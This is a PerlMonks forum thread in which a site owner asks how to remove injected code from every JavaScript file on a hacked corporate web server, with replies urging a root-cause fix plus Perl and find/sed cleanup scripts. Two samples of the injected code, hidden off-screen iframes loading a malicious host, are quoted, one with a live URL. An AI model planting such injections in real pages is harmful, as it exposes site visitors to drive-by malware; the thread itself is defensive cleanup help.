Beefy Boxes and Bandwidth Generously Provided by pair Networks
Just another Perl shrine
 
PerlMonks  

Hacking of JavaScript files in our corporate website

by shajiindia (Acolyte)
on Dec 16, 2012 at 14:32 UTC ( [id://1009068]=perlquestion: print w/replies, xml ) Need Help??

shajiindia has asked for the wisdom of the Perl Monks concerning the following question:

Dear Monks,

In our corporate website there was an attempted hack and all the .js files were hacked. The following lines were added to all .js files (Some information stripped out for security reasons)

;document.write('<iframe width="50" height="50" style="width:100px;hei +ght:100px;position:absolute;left:-100px;top:0;" src="http : / / ipxlq +fn . freewww . info / 9a06efb5c 8163b982c1 1a64762e27 d . cgi ? 8"></ +iframe>');

We cleared out all the lines manually, now again the same thing happened. The question is how can we automate removing all the newly added lines into the .js files from all directories in the web server.

Following are my questions

  1. How can we delete the above lines without shutting down the web server?
  2. How to automate the process of removing these newly added lines in case if the same thing happens again?
  3. Are there any other tools available to painlessly remove such things from a live server?

Any other tips, suggestions and advice will of immense help

Please help.

Replies are listed 'Best First'.
Re: Hacking of JavaScript files in our corporate website
by tobyink (Canon) on Dec 16, 2012 at 15:00 UTC

    A man keeps breaking into my house and taking a crap in my toilet and then leaving without flushing. How can I use Perl to automate flushing the toilet?

    Hey, how about instead of automating flushing the toilet I figure out how he's getting into the house in the first place and try to stop that happening?

    perl -E'sub Monkey::do{say$_,for@_,do{($monkey=[caller(0)]->[3])=~s{::}{ }and$monkey}}"Monkey say"->Monkey::do'
Re: Hacking of JavaScript files in our corporate website
by flexvault (Monsignor) on Dec 16, 2012 at 14:53 UTC

    shajiindia,

    IMHO, you should be doing something to fix the problem;

      Why are you letting someone modify your live web-site?

    Check the logs, close the exposure holes, etc. Then fix the code and don't let it happen again.

    I've been hacked, and it isn't fun, but I fixed the source of the problem.

    First, all of your JavaScript files should be read-only. Look at everything, since there may be other compromised files.

    To answer your question, a very simple Perl script run every hour could check the modified JS to a checksum and if it fails to verify, then notify the sysadmin. But if the site is that un-secure, then maybe *they* could modify your Perl script!

    Good Luck...Ed

    "Well done is better than well said." - Benjamin Franklin

      Thanks for your help.
Re: Hacking of JavaScript files in our corporate website
by marto (Cardinal) on Dec 16, 2012 at 17:51 UTC

    The first time you reported this happening I suggested you secure the system and restore the site from backup. At the time you had no backup, clearly you've not learned anything from the first attack.

    You're wasting your time if the system isn't secured by someone who knows what they're doing. This probably isn't you.

Re: Hacking of JavaScript files in our corporate website
by RichardK (Parson) on Dec 16, 2012 at 15:19 UTC

    After you've fixed your security problems, just reload the scripts from version control :) (You are using version control aren't you?)

Re: Hacking of JavaScript files in our corporate website
by CountZero (Bishop) on Dec 17, 2012 at 07:33 UTC
    After having secured the web-server, so it won't happen again, you can use File::Find::Rule and its methods start and match to iterate over all the javascript files. For each such file found, you then open the file, slurp it into an array and loop over the array, deleting any of the "bad" lines and write it again to the javascript file. File::Slurp can assist you here: it has the useful functions edit_file or edit_file_lines which does an easy in-place edit.

    CountZero

    A program should be light and agile, its subroutines connected like a string of pearls. The spirit and intent of the program should be retained throughout. There should be neither too little or too much, neither needless loops nor useless variables, neither lack of structure nor overwhelming rigidity." - The Tao of Programming, 4.1 - Geoffrey James

    My blog: Imperial Deltronics
      I am burning the midnight oil to fix it. Thanks for your kind help. It is greatly appreciated.

        Here is the code I am working on. It works for sample data, but for the actual data, it is not working. I am working on the backup of the live files and presently using the following script. I am working on Active Perl 5.14 on Windows. Please help.

        #!/usr/bin/perl use strict; # show no warnings about recursion (we know what we do ) no warnings "recursion"; # specify the file you search here (in this example "corporate" ) : my $file = '\.js$'; my @jsfiles = (); # specify the directory where you want to start the search (in this ex +ample ".", the current directory) : my $searchdir = "C:/scripts/corporate"; my $replace_string = "SAMPLE TEXT TO REPLACE"; # Calling the Subroutine, which searches the File readDirectory($searchdir, $file); print "\n", '*' x 60, "\n"; foreach my $js (@jsfiles) { open JAVASCRIPT, '<', "$js" or die "Cannot open file for read ($!) +"; open TEMP, '>', "temp.js" or die "Cannot open file for write ($!)" +; #Enable slurp mode local $/; my $data = <JAVASCRIPT>; $data =~ s/$replace_string//g; print TEMP $data; close JAVASCRIPT; close TEMP; unlink $js; rename "temp.js", $js; print "$js\n"; } print "\n", '*' x 60, "\n"; # We need an Subroutine, which can be called on every sub-directory sub readDirectory { my $searchdir = shift; my $searchfile = shift; # a little bit output, in which directory the script # is searching at the moment (the following line is not necessary +) print "Searching in $searchdir \n"; # Open and close the directory opendir DIR, $searchdir or die("An error occured: $!"); my @files = readdir(DIR); closedir DIR; foreach my $currentFile (@files) { # In Unix/Linux we have the directorys "." and "..", # it's no good idea to scan these, so let them skip. next if $currentFile =~ /^\./; # Lets have a look, if the current "file" is the searched fi +le, # else have a look, if the "file" is an directory, # and if its one, lets have a look, if the searched file is +into it. if ( $currentFile =~ /$searchfile/ ) { # We found the right file, now we can do somthing with +it, # in this case, we only print a text push @jsfiles, "$searchdir/$currentFile"; print "Found the file: $searchdir/$currentFile\n"; } if ( -d "$searchdir/$currentFile" ) { # The Subroutine i calling hisself with the new paramet +ers readDirectory("$searchdir/$currentFile", $searchfile); } } }

        Here is a code signature of the hacked .js files

        ;document.write('<iframe width="50" height="50" style="width:100px;hei +ght:100px;position:absolute;left:-100px;top:0;" src="http : / / ipxlq +fn . freewww . info / 9a06efb5c 8163b982c1 1a64762e27 d . cgi ? 8"></ +iframe>');

        I want to make the above code to get replaced instead of the sample pattern.

Re: Hacking of JavaScript files in our corporate website
by Anonymous Monk on Dec 16, 2012 at 18:58 UTC
    surely corporate lawyer would advise against bandaid :)
Re: Hacking of JavaScript files in our corporate website
by Anonymous Monk on Jan 13, 2013 at 04:03 UTC

    hello all I faced exactly the same problem: I think there is a problem with my hoster -- not from my ftp access for sure ...

    The code has infecteed all my JS files on my server (I have 1000 + Js files)

    To remove the bad code from the js I did the following (shell command line):

    1) list all the infected files find . -name "*.js" -exec grep -l -E 'iframe' {} \; > file_js.txt Wich means : find all the javascript file below my directory and search in it all string iframe put all the selected files file_js.txt document

    2) open one of the selected files in 1 go to the bottom of the file and verified that you have this type of Iframe code : document.write('<iframe style="position:fixed;top:0px;left:-550px;" src="http://otcme.wikaba.com/235e4e002c.pjH7gYIk?default" height="55" width="55"></iframe>');

    3) remove this code in all files -- the magic command line (test it before on one or to copied files...) find . -name "*.js" -type f -exec sed -i -e "s/document.write.*wikaba.*//g" {} \; which means find all Js files below my directory, then replace inside these files the string beginning by "document.write" having multiple caracters then having the string "wikaba" then finishing by many other caracters. You replace it by nothing .

    And that do the trick ! Hope it could help

      Unless you fix the root cause of the problem you'll likely be hit again, as was the case with this user.

Log In?
Username:
Password:

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: perlquestion [id://1009068]
Approved by tobyink
help
Chatterbox?
and the web crawler heard nothing...

How do I use this?Last hourOther CB clients
Other Users?
Others about the Monastery: (5)
As of 2024-04-19 18:50 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    No recent polls found